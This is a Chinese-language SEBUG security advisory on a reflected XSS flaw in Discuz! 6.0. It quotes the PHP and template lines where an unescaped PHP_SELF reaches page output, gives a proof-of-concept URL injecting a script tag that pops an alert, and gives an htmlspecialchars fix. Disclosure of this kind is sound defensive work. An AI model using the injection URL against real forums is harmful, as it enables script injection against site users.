Discuz! "$_SERVER['PHP_SELF']" XSS Vulnerability |
| SBEUGID:SEBUGV2008012748 |
|
| 发布时间:2007-07-17 |
受影响版本:Discuz! 6.0 |
描述:
在common.inc.php文件的69行：
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$SCRIPT_FILENAME = str_replace('\\\\', '/', (isset($_SERVER['PATH_TRANSLATED']) ? $_SERVER['PATH_TRANSLATED'] : $_SERVER['SCRIPT_FILENAME']));
$boardurl = 'http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/';
取得$_SERVER['PHP_SELF']的最后一个/前的字符串后直接拼入了$boardurl，没做其他处理
在index.php文件的49行：
$rssstatus && $rsshead = '<link rel="alternate" type="application/rss+xml" title="'.$bbname.'" href="'.$boardurl.'rss.php?auth='.$rssauth.'">';
这里调用了$boardurl，
在header.htm中的12行：
<link rel="archives" title="$bbname" href="{$boardurl}archiver/">
$rsshead
这里调输出了$boardurl，同时还有$rsshead，
|
<* 参考: lib3rt3
http://www.wolvez.org/forum/thread-20-1-1.html *> |
测试方法:
[www.sebug.net]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
利用方式：
http://www.discuz.net/index.php/%22%3E%3Cscript%3Ealert('lib3rt3')%3C/script%3E/
|
建议:
解决方法：
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
改为：
$PHP_SELF = htmlspecialchars($_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
|
// Sebug.net [ 2008-01-01 ]
本安全信息由SEBUG翻译整理，版权所有，未经许可，不得转载 |
|